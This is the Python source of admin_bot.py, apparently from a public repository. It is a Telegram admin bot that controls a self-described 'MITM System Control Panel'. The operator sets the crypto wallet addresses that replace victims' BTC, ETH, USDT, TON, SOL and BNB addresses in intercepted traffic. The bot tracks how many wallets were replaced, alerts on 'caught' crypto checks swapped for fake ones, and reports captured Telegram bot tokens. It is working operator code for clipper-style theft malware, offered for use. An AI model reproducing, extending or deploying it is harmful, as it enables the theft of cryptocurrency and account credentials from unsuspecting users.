-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathadmin_bot.py
More file actions
394 lines (316 loc) · 15 KB
/
admin_bot.py
File metadata and controls
394 lines (316 loc) · 15 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
import asyncio
import json
import tempfile
import time
import os
from aiogram import Bot, Dispatcher, types, F, Router
from aiogram.filters import Command
from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton
from aiogram.enums import ParseMode
from aiogram.client.default import DefaultBotProperties
from storage import storage
from patterns import CryptoPatterns
def escape_html(text: str) -> str:
if not text:
return ""
return (text
.replace('&', '&')
.replace('<', '<')
.replace('>', '>')
.replace('"', '"')
.replace("'", '''))
class AdminBot:
def __init__(self, bot_token=None, admin_id=None):
self.ADMIN_BOT_TOKEN = bot_token or os.getenv("ADMIN_BOT_TOKEN", "")
self.ADMIN_ID = admin_id or int(os.getenv("ADMIN_ID", "0"))
if not self.ADMIN_BOT_TOKEN or ":" not in self.ADMIN_BOT_TOKEN:
raise ValueError("Invalid bot token!")
print(f"[BOT] Admin ID: {self.ADMIN_ID}")
self.bot = Bot(
token=self.ADMIN_BOT_TOKEN,
default=DefaultBotProperties(parse_mode=ParseMode.HTML)
)
self.dp = Dispatcher()
self.router = Router()
self.dp.include_router(self.router)
self.setup_handlers()
storage.admin_bot = self
print(f"[✓] Admin bot initialized")
def setup_handlers(self):
@self.router.message(Command("start"))
async def start_cmd(message: types.Message):
if message.from_user.id != self.ADMIN_ID:
await message.answer("⛔ Access denied")
return
await self.show_main_menu(message)
@self.router.message(Command("stats"))
async def stats_cmd(message: types.Message):
if message.from_user.id != self.ADMIN_ID:
await message.answer("⛔ Access denied")
return
await self.send_stats_json(message)
@self.router.message(Command("wallets"))
async def wallets_cmd(message: types.Message):
if message.from_user.id != self.ADMIN_ID:
return
await self.show_wallets_menu(message)
@self.router.message(Command("help"))
async def help_cmd(message: types.Message):
if message.from_user.id != self.ADMIN_ID:
return
help_text = (
"🤖 <b>MITM System Commands</b>\n\n"
"/start - Main menu\n"
"/stats - Download stats JSON\n"
"/wallets - Manage all wallets\n"
"/help - This message\n\n"
"<b>How to change wallets:</b>\n"
"1. Click on wallet in /wallets menu\n"
"2. You'll see current address\n"
"3. Reply to that message with new address"
)
await message.answer(help_text)
@self.router.message(Command("setwallet"))
async def setwallet_cmd(message: types.Message):
if message.from_user.id != self.ADMIN_ID:
return
try:
parts = message.text.split()
if len(parts) != 3:
await message.answer("Format: /setwallet COIN ADDRESS\nExample: /setwallet BTC bc1q...")
return
coin_type = parts[1].upper()
address = parts[2]
old_wallet = storage.get_wallet(coin_type)
if len(address) > 10:
if storage.update_wallet(coin_type, address):
escaped_address = escape_html(address)
escaped_old = escape_html(old_wallet) if old_wallet else "None"
response = (
f"✅ <b>{coin_type} Wallet Set!</b>\n\n"
f"<b>Old:</b> <code>{escaped_old[:30]}{'...' if len(escaped_old) > 30 else ''}</code>\n"
f"<b>New:</b> <code>{escaped_address}</code>\n\n"
f"All {coin_type} addresses will now be replaced with this."
)
await message.answer(response)
await self.show_wallets_menu(message)
else:
await message.answer(f"❌ Failed to set {coin_type} wallet")
else:
await message.answer("❌ Invalid wallet address (too short)")
except Exception as e:
await message.answer(f"❌ Error: {escape_html(str(e))}")
@self.router.callback_query(F.data == "back_menu")
async def back_callback(callback: types.CallbackQuery):
if callback.from_user.id != self.ADMIN_ID:
await callback.answer("Access denied", show_alert=True)
return
await self.show_main_menu(callback.message)
await callback.answer()
@self.router.callback_query(F.data == "wallet_menu")
async def wallet_menu_callback(callback: types.CallbackQuery):
if callback.from_user.id != self.ADMIN_ID:
await callback.answer("Access denied", show_alert=True)
return
await self.show_wallets_menu(callback.message)
await callback.answer()
@self.router.callback_query(F.data == "refresh")
async def refresh_callback(callback: types.CallbackQuery):
if callback.from_user.id != self.ADMIN_ID:
await callback.answer("Access denied", show_alert=True)
return
await self.show_main_menu(callback.message)
await callback.answer("✅ Refreshed", show_alert=True)
@self.router.callback_query(F.data == "stats_json")
async def stats_json_callback(callback: types.CallbackQuery):
if callback.from_user.id != self.ADMIN_ID:
await callback.answer("Access denied", show_alert=True)
return
await self.send_stats_json(callback.message)
await callback.answer()
@self.router.callback_query()
async def handle_all_callbacks(callback: types.CallbackQuery):
if callback.from_user.id != self.ADMIN_ID:
await callback.answer("Access denied", show_alert=True)
return
data = callback.data
if data.startswith("wallet_"):
coin_type = data[7:]
valid_coins = CryptoPatterns.get_wallet_types()
if coin_type in valid_coins:
await self.show_wallet_edit(callback, coin_type)
else:
await callback.answer(f"❌ Invalid coin type: {coin_type}", show_alert=True)
else:
await callback.answer(f"❌ Unknown callback: {data}", show_alert=True)
await callback.answer()
@self.router.message(F.text)
async def handle_text(message: types.Message):
if message.from_user.id != self.ADMIN_ID:
return
if message.reply_to_message:
reply_text = message.reply_to_message.text or ""
coin_match = None
for coin in CryptoPatterns.get_wallet_types():
if coin in reply_text:
coin_match = coin
break
if coin_match:
coin_type = coin_match
new_wallet = message.text.strip()
old_wallet = storage.get_wallet(coin_type)
if len(new_wallet) > 10:
if storage.update_wallet(coin_type, new_wallet):
escaped_new = escape_html(new_wallet)
escaped_old = escape_html(old_wallet) if old_wallet else "None"
response = (
f"✅ <b>{coin_type} Wallet Updated!</b>\n\n"
f"<b>Old:</b> <code>{escaped_old[:30]}{'...' if len(escaped_old) > 30 else ''}</code>\n"
f"<b>New:</b> <code>{escaped_new}</code>\n\n"
f"All {coin_type} addresses will now be replaced with this."
)
await message.answer(response)
await self.show_wallets_menu(message)
else:
await message.answer(f"❌ Failed to update {coin_type} wallet")
else:
await message.answer("❌ Invalid wallet address (too short)")
return
await self.show_main_menu(message)
async def send_stats_json(self, message):
try:
with tempfile.NamedTemporaryFile(mode='w', suffix='.json', delete=False) as f:
json_data = storage.export_stats_json()
f.write(json_data)
temp_file = f.name
await message.answer_document(
types.FSInputFile(temp_file),
caption="📊 <b>System Statistics JSON</b>"
)
os.unlink(temp_file)
except Exception as e:
await message.answer(f"❌ Error: {escape_html(str(e))}")
async def show_main_menu(self, message):
stats = storage.get_stats()
keyboard = InlineKeyboardMarkup(inline_keyboard=[
[InlineKeyboardButton(text="💰 Manage All Wallets", callback_data="wallet_menu")],
[InlineKeyboardButton(text="📊 Download Stats JSON", callback_data="stats_json")],
[InlineKeyboardButton(text="🔄 Refresh", callback_data="refresh")]
])
bots_detected = stats.get('bots_detected', [])
bots_count = len(bots_detected) if isinstance(bots_detected, list) else 0
text = (
f"🤖 <b>MITM System Control Panel</b>\n\n"
f"<b>Live Statistics:</b>\n"
f"• Wallets replaced: <b>{stats.get('wallets_replaced', 0)}</b>\n"
f"• Checks caught: <b>{stats.get('checks_caught', 0)}</b>\n"
f"• Bots detected: <b>{bots_count}</b>\n\n"
f"<b>Last update:</b> {time.strftime('%H:%M:%S')}"
)
if isinstance(message, types.Message):
await message.answer(text, reply_markup=keyboard)
else:
await message.edit_text(text, reply_markup=keyboard)
async def show_wallets_menu(self, message):
wallets = storage.get_all_wallets()
buttons = []
for coin in CryptoPatterns.get_wallet_types():
address = wallets.get(coin, "")
if address:
display_addr = address[:20] + "..." if len(address) > 20 else address
else:
display_addr = "Not set"
escaped_addr = escape_html(display_addr)
icons = {
"BTC": "💰",
"ETH": "💎",
"USDT_TRC20": "💵",
"USDT_ERC20": "💳",
"TON": "🚀",
"SOL": "🌟",
"BNB": "🔥"
}
icon = icons.get(coin, "📝")
button_text = f"{icon} {coin}: {escaped_addr}"
buttons.append([
InlineKeyboardButton(
text=button_text,
callback_data=f"wallet_{coin}"
)
])
buttons.append([
InlineKeyboardButton(text="🔙 Back to Main Menu", callback_data="back_menu")
])
keyboard = InlineKeyboardMarkup(inline_keyboard=buttons)
text = (
"💰 <b>Crypto Wallets Management</b>\n\n"
"Click on any wallet to edit it.\n"
"Current addresses are shown next to each coin type.\n\n"
"<i>After clicking, reply to the bot's message with new address.</i>"
)
if isinstance(message, types.Message):
await message.answer(text, reply_markup=keyboard)
else:
await message.edit_text(text, reply_markup=keyboard)
async def show_wallet_edit(self, callback: types.CallbackQuery, coin_type: str):
current_wallet = storage.get_wallet(coin_type)
if current_wallet:
escaped_wallet = escape_html(current_wallet)
display_wallet = escaped_wallet[:50] + "..." if len(escaped_wallet) > 50 else escaped_wallet
else:
display_wallet = "Not set"
keyboard = InlineKeyboardMarkup(inline_keyboard=[
[InlineKeyboardButton(text="🔙 Back to All Wallets", callback_data="wallet_menu")],
[InlineKeyboardButton(text="🏠 Main Menu", callback_data="back_menu")]
])
examples = {
"BTC": "bc1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq",
"ETH": "0x742d35Cc6634C0532925a3b844Bc454e4438f44e",
"USDT_TRC20": "TNDzfER7vL1hJ5sZ7v8w9x0y1z2a3b4c5d6e7f8g9h0",
"USDT_ERC20": "0x742d35Cc6634C0532925a3b844Bc454e4438f44e",
"TON": "UQB6Z4RwcBqA3L8Z8-7lP5sN4nLx5j2k3l4m5n6o7p8q9r0s1t2u3v4w5x6y7z8",
"SOL": "So11111111111111111111111111111111111111112",
"BNB": "bnb1qar0srrr7xfkvy5l643lydnw9re59gtzzwf5mdq"
}
example = examples.get(coin_type, "Enter valid wallet address")
text = (
f"⚙️ <b>Editing {coin_type} Wallet</b>\n\n"
f"<b>Current address:</b>\n"
f"<code>{display_wallet}</code>\n\n"
f"<b>Example format:</b>\n"
f"<code>{example}</code>\n\n"
f"<b>To change:</b>\n"
f"Reply to this message with new {coin_type} address."
)
await callback.message.edit_text(text, reply_markup=keyboard)
async def notify_check_caught(self, check_data: str):
try:
escaped_check = escape_html(check_data)
check_short = escaped_check[:50] + "..." if len(escaped_check) > 50 else escaped_check
await self.bot.send_message(
self.ADMIN_ID,
f"🎫 <b>Crypto Check Caught!</b>\n\n"
f"<b>Check:</b> <code>{check_short}</code>\n"
f"<b>Time:</b> {time.strftime('%H:%M:%S')}\n\n"
f"✅ Replaced with fake check"
)
print(f"[BOT] ✅ Check caught: {check_short}")
except Exception as e:
print(f"[BOT] Check notification error: {e}")
async def notify_bot_detected(self, bot_token: str):
try:
escaped_token = escape_html(bot_token)
token_short = escaped_token[:20] + "..." if len(escaped_token) > 20 else escaped_token
await self.bot.send_message(
self.ADMIN_ID,
f"🤖 <b>New Bot Detected!</b>\n\n"
f"<b>Token:</b> <code>{token_short}</code>\n"
f"<b>Time:</b> {time.strftime('%H:%M:%S')}"
)
print(f"[BOT] ✅ Bot detected: {token_short}")
except Exception as e:
print(f"[BOT] Bot notification error: {e}")
async def start(self):
await self.bot.delete_webhook(drop_pending_updates=True)
print("[BOT] Starting polling...")
await self.dp.start_polling(self.bot)